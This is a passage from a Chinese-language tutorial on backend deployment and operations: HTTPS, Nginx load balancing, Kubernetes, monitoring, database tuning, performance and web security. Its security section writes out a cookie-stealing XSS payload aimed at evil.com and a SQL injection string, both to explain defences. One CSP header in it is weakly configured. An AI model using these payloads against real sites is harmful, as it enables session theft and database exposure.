aws s3 sync $BACKUP_DIR s3://mybucket/backups/
# 5. 清理 30 天前的本地备份
find $BACKUP_DIR -name "*.gz" -mtime +30 -delete
echo "备份完成: $DATE"
# crontab: 0 2 * * * /home/app/backup.sh
中国大陆的服务器绑定域名需要 ICP 备案(阿里云/腾讯云控制台申请,约 1-2 周)。海外服务器不需要备案。备案期间可以用 IP 直接访问。
① 不用 root 部署应用。② SSH 禁止密码登录,只用密钥。③ 防火墙只开放必要端口。④ 定期更新系统(apt upgrade)。⑤ 安装 fail2ban 防暴力破解。⑥ 数据库不暴露到公网。
简单项目用 Shell 脚本 + crontab 足够。复杂项目用 Ansible(配置管理)、Terraform(基础设施即代码)。容器化项目用 Docker Compose + 简单的 deploy 脚本。
2026 年了,没有 HTTPS 的网站就是"裸奔"。Let's Encrypt 提供免费的 SSL 证书。
# 1. 安装 certbot
apt install certbot python3-certbot-nginx
# 2. 申请证书(自动配置 Nginx)
certbot --nginx -d www.example.com -d example.com
# 3. 自动续期(Let's Encrypt 证书 90 天过期)
crontab -e
# 添加:0 3 * * * certbot renew --quiet
# Nginx SSL 配置(certbot 自动生成)
server {
listen 443 ssl;
server_name www.example.com;
ssl_certificate /etc/letsencrypt/live/www.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/www.example.com/privkey.pem;
# 强制 HTTPS
add_header Strict-Transport-Security "max-age=31536000" always;
location / {
proxy_pass http://127.0.0.1:8000;
}
}
# HTTP 强制跳转 HTTPS
server {
listen 80;
server_name www.example.com;
return 301 https://$host$request_uri;
}
# 证书续期(Let's Encrypt 90 天过期)
# 自动续期(推荐)
crontab -e
# 添加:0 3 * * * certbot renew --quiet --deploy-hook "systemctl reload nginx"
# 手动续期
certbot renew --dry-run # 测试续期(不实际执行)
certbot renew # 执行续期
# 证书状态检查
certbot certificates # 查看所有证书
openssl x509 -in /etc/letsencrypt/live/example.com/fullchain.pem -noout -dates
# 常见问题排查
# 1. 续期失败——DNS 解析问题
certbot renew --preferred-challenges dns
# 2. 多域名证书
certbot --nginx -d example.com -d www.example.com -d api.example.com
# 3. 通配符证书(需要 DNS 验证)
certbot certonly --manual --preferred-challenges dns -d "*.example.com"
# 4. 证书吊销
certbot revoke --cert-name example.com
# Nginx 开启 HTTP/2(需要 SSL)
server {
listen 443 ssl;
http2 on; # Nginx 1.25.1+ 新语法(旧写法 listen 443 ssl http2 已弃用)
server_name www.example.com;
# 注意:http2_push 在 Nginx 1.25.1 中已移除
# 如需预加载关键资源,请使用 Link header: add_header Link "; rel=preload"
location / {
proxy_pass http://app_server;
}
# OCSP Stapling(加速 SSL 握手)
ssl_stapling on;
ssl_stapling_verify on;
ssl_trusted_certificate /etc/letsencrypt/live/example.com/chain.pem;
resolver 8.8.8.8 8.8.4.4 valid=300s;
}
# 检查 HTTP/2 是否生效
curl -I https://www.example.com
# 输出应包含:HTTP/2 200
# Mixed Content:HTTPS 页面加载了 HTTP 资源
# 浏览器会阻止或警告
# 1. 检查 Mixed Content
# Chrome DevTools → Console → 看是否有 "Mixed Content" 警告
# 2. Nginx 强制 HTTPS 重定向所有资源
location /static/ {
# 确保静态资源也通过 HTTPS
add_header Content-Security-Policy "upgrade-insecure-requests";
}
# 3. CSP 头(强制 HTTPS)
add_header Content-Security-Policy "default-src https: 'unsafe-inline' 'unsafe-eval'" always;
# 4. 后端生成 URL 时强制 HTTPS
# FastAPI
from starlette.middleware.httpsredirect import HTTPSRedirectMiddleware
app.add_middleware(HTTPSRedirectMiddleware)
在 Nginx 中添加安全响应头:① X-Content-Type-Options: nosniff(防 MIME 嗅探)。② X-Frame-Options: DENY(防点击劫持)。③ Strict-Transport-Security(强制 HTTPS)。④ Content-Security-Policy(防 XSS)。⑤ Referrer-Policy(控制 Referer)。⑥ Permissions-Policy(控制浏览器功能)。
① 开启 OCSP Stapling(减少 SSL 握手时间)。② 开启 HTTP/2(多路复用)。③ 开启 TLS 1.3(比 1.2 更快)。④ 使用 ECDHE 密钥交换(比 RSA 更快)。⑤ SSL Session Cache(复用 SSL 会话)。
一台服务器扛不住时,用多台服务器分担负载。一台挂了,其他台继续服务。
# Nginx 负载均衡配置
upstream backend {
least_conn; # 最少连接算法
server 10.0.0.1:8000 weight=3; # 权重 3(分到更多请求)
server 10.0.0.2:8000 weight=2;
server 10.0.0.3:8000 backup; # 备用服务器
}
server {
location / {
proxy_pass http://backend;
}
}
# 会话保持——同一用户的请求始终发到同一台服务器
# 场景:用户登录状态存在某台服务器的内存中
# Nginx 开源版:IP Hash
upstream backend {
ip_hash; # 同一 IP 的请求发到同一台
server 10.0.0.1:8000;
server 10.0.0.2:8000;
server 10.0.0.3:8000;
}
# Nginx Plus(商业版):Cookie 保持
upstream backend {
sticky cookie srv_id expires=1h;
server 10.0.0.1:8000;
server 10.0.0.2:8000;
}
# 最佳方案:不用会话保持,把 Session 存到 Redis
# 所有服务器共享 Session,任何一台都能处理任何请求
# Flask: flask-session + Redis
# Django: django-redis + SessionBackend
# Nginx 开源版——被动健康检查
upstream backend {
server 10.0.0.1:8000 max_fails=3 fail_timeout=30s;
server 10.0.0.2:8000 max_fails=3 fail_timeout=30s;
server 10.0.0.3:8000 backup; # 备用服务器
}
# max_fails=3:连续 3 次失败后标记为不可用
# fail_timeout=30s:30 秒后重新尝试
# 应用健康检查接口
@app.get("/health")
async def health():
try:
# 检查数据库连接
db.execute("SELECT 1")
# 检查 Redis 连接
redis.ping()
return {"status": "healthy", "db": "ok", "redis": "ok"}
except Exception as e:
return JSONResponse(
status_code=503,
content={"status": "unhealthy", "error": str(e)}
)
# 主动健康检查脚本
#!/bin/bash
for server in 10.0.0.1 10.0.0.2 10.0.0.3; do
status=$(curl -s -o /dev/null -w "%{http_code}" http://$server:8000/health)
if [ "$status" != "200" ]; then
echo "⚠️ $server 健康检查失败 ($status)"
# 发送告警
fi
done
# Nginx 故障转移配置
upstream backend {
server 10.0.0.1:8000; # 主服务器
server 10.0.0.2:8000; # 备用服务器
server 10.0.0.3:8000 backup; # 冷备份(只在前两台都挂时使用)
}
# 多机房故障转移
upstream backend_primary {
server 10.0.0.1:8000;
server 10.0.0.2:8000;
}
upstream backend_secondary {
server 10.1.0.1:8000; # 异地机房
}
server {
location / {
proxy_pass http://backend_primary;
proxy_next_upstream error timeout http_502 http_503;
proxy_next_upstream_tries 2; # 最多重试 2 次
proxy_next_upstream_timeout 10s; # 重试超时 10 秒
}
}
# Docker Compose 高可用
# 注:Docker Compose v2 已不再需要 version 字段,省略即可
services:
nginx:
image: nginx
ports: ["80:80"]
depends_on: [app1, app2]
app1:
build: .
environment:
- INSTANCE_ID=1
app2:
build: .
environment:
- INSTANCE_ID=2
redis:
image: redis:7-alpine # 共享 Session
db:
image: postgres:15 # 共享数据库
① 多台应用服务器(至少 2 台)。② 负载均衡器(Nginx/HAProxy)。③ 共享 Session(Redis)。④ 数据库主从(读写分离)。⑤ Redis 哨兵/集群(防止单点故障)。⑥ 监控告警(任何一台挂了立即通知)。
① Nginx:最常用,HTTP/HTTPS 负载均衡。② HAProxy:TCP/HTTP 负载均衡,性能更强。③ 云厂商 SLB:阿里云 SLB、AWS ALB,免运维。④ Kubernetes Service:容器化场景自动负载均衡。
发布新版本是后端开发中最危险的操作之一——一个 Bug 可能让整个网站瘫痪。好的发布策略能把风险降到最低。
发布新版本就像给飞行中的飞机换引擎。你不能让飞机停飞(停机维护),也不能让乘客感觉到颠簸(无感知升级)。不同的发布策略就是不同的"换引擎"方式。
维护两套完全相同的生产环境:蓝色(当前版本)和绿色(新版本)。
# Nginx 蓝绿切换
upstream blue {
server 10.0.0.1:8000;
}
upstream green {
server 10.0.0.2:8000;
}
server {
location / {
proxy_pass http://green; # 切换这一行:blue → green
}
}
先让一小部分用户试用新版本,观察无异常后逐步扩大。
# Nginx 金丝雀配置
upstream backend {
server 10.0.0.1:8000 weight=9; # 旧版本:90% 流量
server 10.0.0.2:8000 weight=1; # 新版本:10% 流量
}
逐台替换服务器上的旧版本——每次只更新一台,直到所有服务器都运行新版本。Kubernetes 默认策略。
# Kubernetes 滚动更新配置
spec:
replicas: 4
strategy:
type: RollingUpdate
rollingUpdate:
maxSurge: 1 # 最多多出 1 个 Pod
maxUnavailable: 0 # 不允许任何 Pod 不可用
新代码部署到生产环境,但功能默认关闭。通过配置开关控制是否启用。
# Feature Flag 实现
import os
class FeatureFlags:
NEW_CHECKOUT = os.environ.get('FF_NEW_CHECKOUT', 'false') == 'true'
AI_RECOMMEND = os.environ.get('FF_AI_RECOMMEND', 'false') == 'true'
@app.get("/products/{id}")
def get_product(id: int):
product = get_product_from_db(id)
if FeatureFlags.AI_RECOMMEND:
product['recommendations'] = get_ai_recommendations(id)
return product
# 开启功能:设置环境变量 FF_AI_RECOMMEND=true,无需重新部署
① 代码部署和功能发布解耦——代码先上线,功能择机开启。② 可以按用户群体灰度(VIP 用户先体验)。③ 出问题秒级关闭功能(改配置,不用回滚代码)。④ A/B 测试(50% 用户用新功能,50% 用旧功能,对比数据)。
| 回滚类型 | 方法 | 耗时 |
|---|---|---|
| 代码回滚 | Docker 镜像回退到上一个 tag | 秒级 |
| 配置回滚 | 配置中心恢复上一版本 | 秒级 |
| 数据库回滚 | alembic downgrade | 分钟级 |
| 数据回滚 | 从备份恢复(最后手段) | 小时级 |
① 测试环境验证通过。② 数据库迁移脚本有 downgrade 方法。③ 回滚方案已验证。④ 监控告警已配置。⑤ 发布时间选在低峰期(如凌晨)。⑥ 至少两个人在场(一人操作,一人观察)。
Kubernetes(K8s)是容器编排平台——自动管理 Docker 容器的部署、扩缩容、负载均衡、故障恢复。
/api 路由到后端服务,/ 路由到前端。# deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: myapp
spec:
replicas: 3 # 3 个副本
selector:
matchLabels:
app: myapp
template:
metadata:
labels:
app: myapp
spec:
containers:
- name: myapp
image: myregistry/myapp:v1.2.3 # 永远用版本标签,不要用 latest(无法追溯、无法回滚)
ports:
- containerPort: 8000
env:
- name: DATABASE_URL
valueFrom:
secretKeyRef:
name: myapp-secrets
key: database-url
---
apiVersion: v1
kind: Service
metadata:
name: myapp-service
spec:
selector:
app: myapp
ports:
- port: 80
targetPort: 8000
# 常用 kubectl 命令
# kubectl apply -f deployment.yaml — 部署
# kubectl get pods — 查看 Pod
# kubectl logs pod-name — 查看日志
# kubectl scale deployment myapp --replicas=5 — 扩容
# kubectl rollout undo deployment myapp — 回滚
# ConfigMap —— 存储非敏感配置
apiVersion: v1
kind: ConfigMap
metadata:
name: myapp-config
data:
DATABASE_URL: "postgresql://user:pass@db:5432/mydb"
REDIS_URL: "redis://redis:6379/0"
LOG_LEVEL: "info"
# Secret —— 存储敏感信息(base64 编码)
apiVersion: v1
kind: Secret
metadata:
name: myapp-secrets
type: Opaque
data:
SECRET_KEY: c2VjcmV0a2V5MTIz # base64 编码
DB_PASSWORD: cGFzc3dvcmQxMjM=
# 在 Deployment 中引用
spec:
containers:
- name: myapp
envFrom:
- configMapRef:
name: myapp-config
- secretRef:
name: myapp-secrets
# 命令行创建 Secret
kubectl create secret generic myapp-secrets \
--from-literal=SECRET_KEY=mysecretkey \
--from-literal=DB_PASSWORD=mypassword
# Master 节点(控制平面)
# ┌─────────────────────────────────────────────────────────┐
# │ API Server ─── etcd(存储集群状态) │
# │ │ │
# │ Scheduler ─── 决定 Pod 调度到哪个 Node │
# │ │ │
# │ Controller Manager ─── 维护期望状态(如副本数) │
# └─────────────────────────────────────────────────────────┘
# Worker 节点(数据平面)
# ┌─────────────────────────────────────────────────────────┐
# │ kubelet ─── 管理本机 Pod 生命周期 │
# │ │ │
# │ kube-proxy ─── 实现 Service 网络转发 │
# │ │ │
# │ Container Runtime ─── 运行容器(Docker/containerd) │
# └─────────────────────────────────────────────────────────┘
# Pod 生命周期
# Pending → Running → Succeeded/Failed
# ↓
# Pending:等待调度(资源不足、镜像拉取中)
# Running:至少一个容器在运行
# Succeeded:所有容器正常退出(Job)
# Failed:容器异常退出
# Namespace(多环境隔离)
kubectl create namespace dev
kubectl create namespace staging
kubectl create namespace production
kubectl get pods -n production # 查看生产环境 Pod
# 必须设置资源限制,否则一个 Pod 可能抢占所有资源
spec:
containers:
- name: myapp
image: myapp:v1.2.3
resources:
requests: # 调度依据:最少需要多少资源
cpu: "250m" # 0.25 核 CPU
memory: "256Mi" # 256MB 内存
limits: # 硬上限:最多能用多少资源
cpu: "500m" # 超过会被限流(throttle)
memory: "512Mi" # 超过会被 OOM Kill
# 最佳实践
# - requests = 应用正常运行所需资源
# - limits = requests 的 1.5-2 倍(留缓冲)
# - CPU limits 会导致限流,内存 limits 会导致 OOM Kill
# - 生产环境不要省略 requests/limits
# 三种探针,解决不同问题
spec:
containers:
- name: myapp
livenessProbe: # 存活探针:容器是否还活着?
httpGet: # 不健康会被重启
path: /health
port: 8000
initialDelaySeconds: 30
periodSeconds: 10
failureThreshold: 3
readinessProbe: # 就绪探针:容器能接收流量吗?
httpGet: # 不就绪会被从 Service 摘除
path: /ready
port: 8000
initialDelaySeconds: 5
periodSeconds: 5
startupProbe: # 启动探针:容器启动完成了吗?
httpGet: # 启动期间暂停 liveness/readiness
path: /health
port: 8000
failureThreshold: 30 # 给足启动时间(30*10=300秒)
periodSeconds: 10
# FastAPI 中实现探针端点
@app.get("/health")
async def health():
return {"status": "ok"}
@app.get("/ready")
async def ready():
# 检查数据库连接、Redis 连接等
try:
db.execute("SELECT 1")
return {"status": "ready"}
except Exception:
raise HTTPException(503, "Not Ready")
# Helm = K8s 的包管理器(类似 pip/apt)
# 安装 Helm
curl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash
# 添加仓库
helm repo add bitnami https://charts.bitnami.com/bitnami
helm repo update
# 安装应用(如 Redis)
helm install my-redis bitnami/redis \
--set auth.password=mypassword \
--set master.persistence.size=10Gi
# 查看已安装
helm list
# 升级
helm upgrade my-redis bitnami/redis --set auth.password=newpassword
# 回滚
helm rollback my-redis 1
# 创建自己的 Chart
helm create myapp-chart
# 目录结构:
# myapp-chart/
# ├── Chart.yaml # 元数据
# ├── values.yaml # 默认配置
# ├── templates/ # 模板文件
# │ ├── deployment.yaml
# │ ├── service.yaml
# │ └── ingress.yaml
# └── charts/ # 依赖
# Horizontal Pod Autoscaler —— 根据 CPU/内存自动扩缩容
apiVersion: autoscaling/v2
kind: HorizontalPodAutoscaler
metadata:
name: myapp-hpa
spec:
scaleTargetRef:
apiVersion: apps/v1
kind: Deployment
name: myapp
minReplicas: 2 # 最少 2 个副本
maxReplicas: 10 # 最多 10 个副本
metrics:
- type: Resource
resource:
name: cpu
target:
type: Utilization
averageUtilization: 70 # CPU 超过 70% 就扩容
- type: Resource
resource:
name: memory
target:
type: Utilization
averageUtilization: 80 # 内存超过 80% 就扩容
# 需要安装 Metrics Server
kubectl apply -f https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml
# 查看 HPA 状态
kubectl get hpa
# Ingress —— HTTP 路由规则
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: myapp-ingress
annotations:
nginx.ingress.kubernetes.io/ssl-redirect: "true"
cert-manager.io/cluster-issuer: "letsencrypt-prod"
spec:
ingressClassName: nginx
tls:
- hosts:
- www.example.com
secretName: example-tls # 自动申请证书
rules:
- host: www.example.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: frontend-service
port:
number: 80
- path: /api
pathType: Prefix
backend:
service:
name: backend-service
port:
number: 8000
# 安装 Ingress Controller
kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.10.0/deploy/static/provider/cloud/deploy.yaml
# 基础操作
kubectl apply -f deployment.yaml # 创建/更新资源
kubectl delete -f deployment.yaml # 删除资源
kubectl get pods # 查看 Pod
kubectl get services # 查看 Service
kubectl get ingress # 查看 Ingress
# 调试
kubectl logs pod-name # 查看日志
kubectl logs pod-name -f # 实时日志
kubectl describe pod pod-name # 查看详情
kubectl exec -it pod-name -- /bin/bash # 进入容器
# 扩缩容
kubectl scale deployment myapp --replicas=5 # 手动扩容
kubectl rollout status deployment myapp # 查看部署状态
kubectl rollout undo deployment myapp # 回滚
kubectl rollout history deployment myapp # 查看历史版本
# 资源管理
kubectl create configmap myconfig --from-file=config.yaml
kubectl create secret generic mysecret --from-literal=key=value
kubectl get events --sort-by=.metadata.creationTimestamp # 查看事件
① 微服务架构(10+ 个服务)。② 需要自动扩缩容。③ 多台服务器的集群管理。④ 需要蓝绿/金丝雀部署。小型项目用 Docker Compose 就够了,不需要 K8s。K8s 的学习曲线很陡,不要为了用而用。
① 先学 Docker(容器基础)。② 用 Minikube 在本地搭建 K8s 集群。③ 学习 Pod、Deployment、Service 核心概念。④ 学习 ConfigMap、Secret 配置管理。⑤ 学习 Ingress、HPA 高级特性。⑥ 生产环境用托管 K8s(阿里云 ACK、AWS EKS)。
没有监控的系统就像没有仪表盘的汽车——你不知道速度、油量、温度。出了问题也不知道。
# Prometheus 指标采集
# pip install prometheus-client
from prometheus_client import Counter, Histogram, generate_latest
REQUEST_COUNT = Counter('http_requests_total', 'Total HTTP requests', ['method', 'endpoint', 'status'])
REQUEST_LATENCY = Histogram('http_request_duration_seconds', 'Request latency', ['endpoint'])
@app.middleware("http")
async def monitor(request: Request, call_next):
start = time.time()
response = await call_next(request)
elapsed = time.time() - start
REQUEST_COUNT.labels(request.method, request.url.path, response.status_code).inc()
REQUEST_LATENCY.labels(request.url.path).observe(elapsed)
return response
@app.get("/metrics")
def metrics():
return Response(generate_latest(), media_type="text/plain")
/metrics 端点,存储时序数据。# Grafana 连接 Prometheus
# 1. 添加数据源:Configuration → Data Sources → Prometheus
# 2. URL: http://prometheus:9090
# 3. 导入看板模板(Dashboard ID)
# - Node Exporter: 1860 (服务器监控)
# - FastAPI: 15732 (FastAPI 应用监控)
# - PostgreSQL: 9628 (数据库监控)
# - Redis: 763 (Redis 监控)
# 常用 PromQL 查询
# QPS
rate(http_requests_total[5m])
# 错误率
rate(http_requests_total{status=~"5.."}[5m]) / rate(http_requests_total[5m])
# P99 延迟
histogram_quantile(0.99, rate(http_request_duration_seconds_bucket[5m]))
# 每个接口的 QPS
sum by (endpoint) (rate(http_requests_total[5m]))
# 数据库连接池使用率
db_connection_pool_active / db_connection_pool_max
# prometheus/alert_rules.yml
groups:
- name: app_alerts
rules:
# 错误率告警
- alert: HighErrorRate
expr: rate(http_requests_total{status=~"5.."}[5m]) / rate(http_requests_total[5m]) > 0.05
for: 5m # 持续 5 分钟
labels:
severity: critical
annotations:
summary: "错误率超过 5%"
description: "当前错误率 {{ $value | humanizePercentage }}"
# 延迟告警
- alert: HighLatency
expr: histogram_quantile(0.99, rate(http_request_duration_seconds_bucket[5m])) > 1
for: 5m
labels:
severity: warning
annotations:
summary: "P99 延迟超过 1 秒"
# 服务宕机告警
- alert: ServiceDown
expr: up{job="myapp"} == 0
for: 1m
labels:
severity: critical
annotations:
summary: "服务 {{ $labels.instance }} 宕机"
# AlertManager 路由配置
route:
receiver: 'dingtalk'
group_by: ['alertname']
group_wait: 30s
group_interval: 5m
repeat_interval: 4h
receivers:
- name: 'dingtalk'
webhook_configs:
- url: 'http://dingtalk-webhook-proxy:8060/dingtalk/robot/send'
send_resolved: true
# 除了 HTTP 指标,还要监控业务指标
from prometheus_client import Gauge, Counter
# 业务指标
ACTIVE_USERS = Gauge('active_users_total', '当前在线用户数')
ORDERS_TODAY = Counter('orders_today_total', '今日订单数')
REVENUE_TODAY = Gauge('revenue_today', '今日营收')
QUEUE_LENGTH = Gauge('task_queue_length', '任务队列长度')
# 在代码中更新指标(推荐用 lifespan 上下文管理器替代,见 ch23)
@app.on_event("startup") # 注意:FastAPI 已弃用,建议改用 lifespan
async def update_metrics():
"""定时更新业务指标"""
async def _update():
while True:
ACTIVE_USERS.set(get_active_user_count())
ORDERS_TODAY._value.set(get_today_order_count())
REVENUE_TODAY.set(get_today_revenue())
QUEUE_LENGTH.set(get_queue_length())
await asyncio.sleep(30) # 每 30 秒更新
asyncio.create_task(_update())
# Grafana 看板添加这些指标
# - 实时在线用户数
# - 今日订单趋势
# - 今日营收趋势
# - 任务队列积压情况
① 延迟(Latency)——请求响应时间。② 流量(Traffic)——QPS。③ 错误率(Errors)——5xx 比例。④ 饱和度(Saturation)——CPU/内存/连接池使用率。监控好这四个指标,90% 的问题都能发现。再加业务指标(订单量、营收、在线用户数)就是完整的监控体系。
① 告警要有分级(critical/warning/info)。② 告警要有收敛(不要重复告警)。③ 告警要有值班制度(谁负责处理)。④ 告警要有处理手册(Runbook)。⑤ 不要告警疲劳(太多告警等于没有告警)。⑥ 定期 review 告警规则。
数据库是后端的心脏——它挂了,整个系统就瘫了。运维的核心:备份、监控、优化。
# MySQL 备份
mysqldump -u root -p mydb > backup_$(date +%Y%m%d).sql
# 恢复
mysql -u root -p mydb < backup_20240626.sql
# PostgreSQL 备份
pg_dump -U postgres mydb > backup.sql
# 恢复
psql -U postgres mydb < backup.sql
# 自动备份脚本(crontab)
0 2 * * * /usr/local/bin/backup_db.sh && aws s3 cp /backups/ s3://mybucket/db-backups/ --recursive
① 每天全量备份。② 保留最近 7 天的备份。③ 备份文件存储在异地(云存储)。④ 定期验证备份可恢复(很多人备份了但从没测试过恢复)。
# SQLAlchemy 读写分离
from sqlalchemy import create_engine
from sqlalchemy.orm import Session
# 主库(写)
master_engine = create_engine('postgresql://user:pass@master:5432/mydb')
# 从库(读)
slave_engine = create_engine('postgresql://user:pass@slave:5432/mydb')
# 自动路由读写
class RoutingSession(Session):
def get_bind(self, mapper=None, clause=None, **kwargs):
if self._flushing: # 写操作
return master_engine
return slave_engine # 读操作
# Django 读写分离(settings.py)
DATABASES = {
'default': { # 主库
'ENGINE': 'django.db.backends.postgresql',
'HOST': 'master-db',
'NAME': 'mydb',
},
'read_replica': { # 从库
'ENGINE': 'django.db.backends.postgresql',
'HOST': 'slave-db',
'NAME': 'mydb',
},
}
# Django 数据库路由
class ReadReplicaRouter:
def db_for_read(self, model, **hints):
return 'read_replica'
def db_for_write(self, model, **hints):
return 'default'
def allow_relation(self, obj1, obj2, **hints):
return True
# MySQL 慢查询分析
# 开启慢查询日志
SET GLOBAL slow_query_log = ON;
SET GLOBAL long_query_time = 1;
SET GLOBAL log_queries_not_using_indexes = ON;
# 分析慢查询日志
pt-query-digest /var/log/mysql/slow.log
# MySQL 连接池配置
# my.cnf
[mysqld]
max_connections = 500 # 最大连接数
wait_timeout = 600 # 空闲连接超时
interactive_timeout = 600
innodb_buffer_pool_size = 4G # InnoDB 缓冲池(建议物理内存的 70%)
innodb_log_file_size = 1G # 日志文件大小
innodb_flush_log_at_trx_commit = 1 # 事务日志刷盘策略
# PostgreSQL 性能调优
# postgresql.conf
max_connections = 200
shared_buffers = 4GB # 共享缓冲区(物理内存的 25%)
effective_cache_size = 12GB # 有效缓存大小
work_mem = 64MB # 排序/哈希操作内存
maintenance_work_mem = 512MB # 维护操作内存
wal_level = replica # WAL 级别(支持复制)
# PgBouncer —— PostgreSQL 连接池
# 安装:apt install pgbouncer
# /etc/pgbouncer/pgbouncer.ini
[databases]
mydb = host=127.0.0.1 port=5432 dbname=mydb
[pgbouncer]
listen_addr = 0.0.0.0
listen_port = 6432
auth_type = md5
auth_file = /etc/pgbouncer/userlist.txt
pool_mode = transaction # 事务级连接池
max_client_conn = 1000 # 最大客户端连接
default_pool_size = 50 # 每个数据库的连接池大小
# SQLAlchemy 使用连接池
from sqlalchemy import create_engine
engine = create_engine(
'postgresql://user:pass@localhost:6432/mydb', # 连接 PgBouncer
pool_size=20, # 连接池大小
max_overflow=10, # 最大溢出连接
pool_timeout=30, # 获取连接超时
pool_recycle=3600, # 连接回收时间
pool_pre_ping=True, # 使用前检查连接
)
监控指标:连接数、QPS、慢查询数量、磁盘使用率、主从延迟。用 Prometheus + mysqld_exporter / postgres_exporter 采集数据,Grafana 展示。告警阈值:连接数 > 80%、慢查询 > 10/min、磁盘 > 80%、主从延迟 > 10s。
备份不等于可恢复!定期验证备份:① 每周在测试环境恢复一次备份。② 记录恢复耗时(RTO)。③ 验证数据完整性。④ 测试恢复流程文档化。
性能优化不是"加缓存"那么简单——它是一个从代码到架构的全链路工程。
# 性能分析工具
# cProfile — 函数级性能分析
python -m cProfile -s cumtime app.py
# py-spy — 生产环境采样(不需要重启)
pip install py-spy
py-spy top --pid 12345
# line_profiler — 逐行分析
@profile
def slow_function():
... # 找到哪一行最慢
# 1. 用合适的数据结构
# ❌ 慢:list 查找 O(n)
if user_id in user_list: # 遍历整个列表
pass
# ✅ 快:dict/set 查找 O(1)
if user_id in user_dict: # 哈希查找
pass
# 2. 减少循环内的数据库查询
# ❌ N+1 问题
for order in orders:
user = db.session.get(User, order.user_id) # 每次循环都查数据库
# ✅ 批量查询
user_ids = [o.user_id for o in orders]
users = db.query(User).filter(User.id.in_(user_ids)).all()
user_map = {u.id: u for u in users}
# 3. 使用生成器(节省内存)
# ❌ 一次性加载所有数据
all_users = db.query(User).all() # 占用大量内存
# ✅ 分批处理
def get_users_batch(batch_size=1000):
offset = 0
while True:
batch = db.query(User).offset(offset).limit(batch_size).all()
if not batch:
break
yield batch
offset += batch_size
# 4. 异步并发
import asyncio
async def fetch_all_data():
users, orders, products = await asyncio.gather(
get_users(),
get_orders(),
get_products(),
) # 三个请求并发执行
# 1. 添加索引(最常见的优化)
CREATE INDEX idx_articles_status ON articles(status);
CREATE INDEX idx_articles_author_created ON articles(author_id, created_at);
# 2. 避免 SELECT *
# ❌ 查所有字段
SELECT * FROM articles WHERE status = 1;
# ✅ 只查需要的字段
SELECT id, title, created_at FROM articles WHERE status = 1;
# 3. 分页优化(深分页)
# ❌ 慢:OFFSET 越大越慢
SELECT * FROM articles ORDER BY id LIMIT 1000000, 20;
# ✅ 快:游标分页
SELECT * FROM articles WHERE id > 1000000 ORDER BY id LIMIT 20;
# 4. 读写分离
# 写请求 → 主库
# 读请求 → 从库
# SQLAlchemy: 配置多个 engine + 路由
# 5. 连接池调优
engine = create_engine(url, pool_size=20, max_overflow=10, pool_pre_ping=True)
# 1. 热点数据缓存
def get_hot_articles():
cache_key = "hot_articles"
cached = redis.get(cache_key)
if cached:
return json.loads(cached)
articles = db.query(Article).order_by(Article.views.desc()).limit(20).all()
redis.setex(cache_key, 300, json.dumps([a.to_dict() for a in articles]))
return articles
# 2. 多级缓存
# L1: 进程内缓存(LRU, 微秒级)
# L2: Redis 缓存(毫秒级)
# L3: 数据库(十毫秒级)
# 3. 缓存预热(推荐用 lifespan 上下文管理器替代,见 ch23)
@app.on_event("startup") # 注意:FastAPI 已弃用,建议改用 lifespan
async def warm_up():
# 预加载热门数据到缓存
pass
# 1. 异步处理
# 耗时操作用 Celery 后台执行
@celery.task
def process_image(image_id):
# 图片处理...
pass
# 2. CDN 加速
# 静态资源放到 CDN,用户从最近的节点加载
# 3. 消息队列削峰
# 秒杀请求先入队列,消费者按速度处理
# 4. 数据库拆分
# 垂直拆分:大表拆成多张小表
# 水平拆分:按用户 ID 分库分表
① 先测量,再优化(不要凭直觉)。② 优化瓶颈(80/20 法则:20% 的代码造成 80% 的延迟)。③ 不要过早优化(先让它工作,再让它快)。④ 缓存是万能药,但也有副作用(数据一致性)。⑤ 每次优化后都要压测验证效果。
① 数据库索引是否合理?② 是否有 N+1 查询?③ 是否有慢查询?④ 热点数据是否缓存?⑤ 是否有不必要的序列化?⑥ 是否有同步阻塞操作?⑦ 静态资源是否用 CDN?⑧ 是否开启了 Gzip 压缩?⑨ 连接池配置是否合理?⑩ 是否有内存泄漏?
Web 安全不是"可选项"——一个 SQL 注入漏洞就能让你的整个数据库泄露。
| 攻击类型 | 原理 | 防御 |
|---|---|---|
| SQL 注入 | 在输入框写 SQL 代码 | ORM 参数化查询、不拼接 SQL |
| XSS | 在页面注入脚本 | 模板自动转义、CSP 头 |
| CSRF | 伪造用户请求 | CSRF Token、SameSite Cookie |
| SSRF | 让服务器请求内网 | 限制请求地址白名单 |
| 文件上传 | 上传恶意文件 | 校验类型、UUID 重命名、隔离存储 |
# 安全 Headers(Nginx 配置)
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Content-Security-Policy "default-src 'self'" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
# ❌ 危险:字符串拼接 SQL
query = f"SELECT * FROM users WHERE name = '{user_input}'"
# 用户输入: ' OR '1'='1' --
# 实际执行: SELECT * FROM users WHERE name = '' OR '1'='1' --'
# ✅ 安全:参数化查询
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))
# ✅ 安全:ORM 查询(自动参数化)
User.query.filter(User.name == user_input).first()
# ✅ 安全:SQLAlchemy
db.query(User).filter(User.name == user_input).first()
# XSS:在页面注入恶意脚本
# 用户输入: <script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
# 1. 模板自动转义(Jinja2 默认开启)
# {{ user_input }} → 自动转义 <script> → <script>
# 2. CSP 头(Content Security Policy)
# Nginx 配置
add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;
# 3. 用户输入清理
import bleach
clean_html = bleach.clean(user_input, tags=['b', 'i', 'em', 'strong'], strip=True)
# CSRF:伪造用户请求
# Flask CSRF 防护
from flask_wtf.csrf import CSRFProtect
csrf = CSRFProtect(app)
# 模板中添加 CSRF Token
# <form method="post">
# <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
# </form>
# Django 默认开启 CSRF 中间件
# {% csrf_token %}
# API 接口用 JWT Token(天然防 CSRF)
# Cookie 方式设置 SameSite=Strict
response.set_cookie('session', value, samesite='strict')
# ❌ 不安全的密码存储
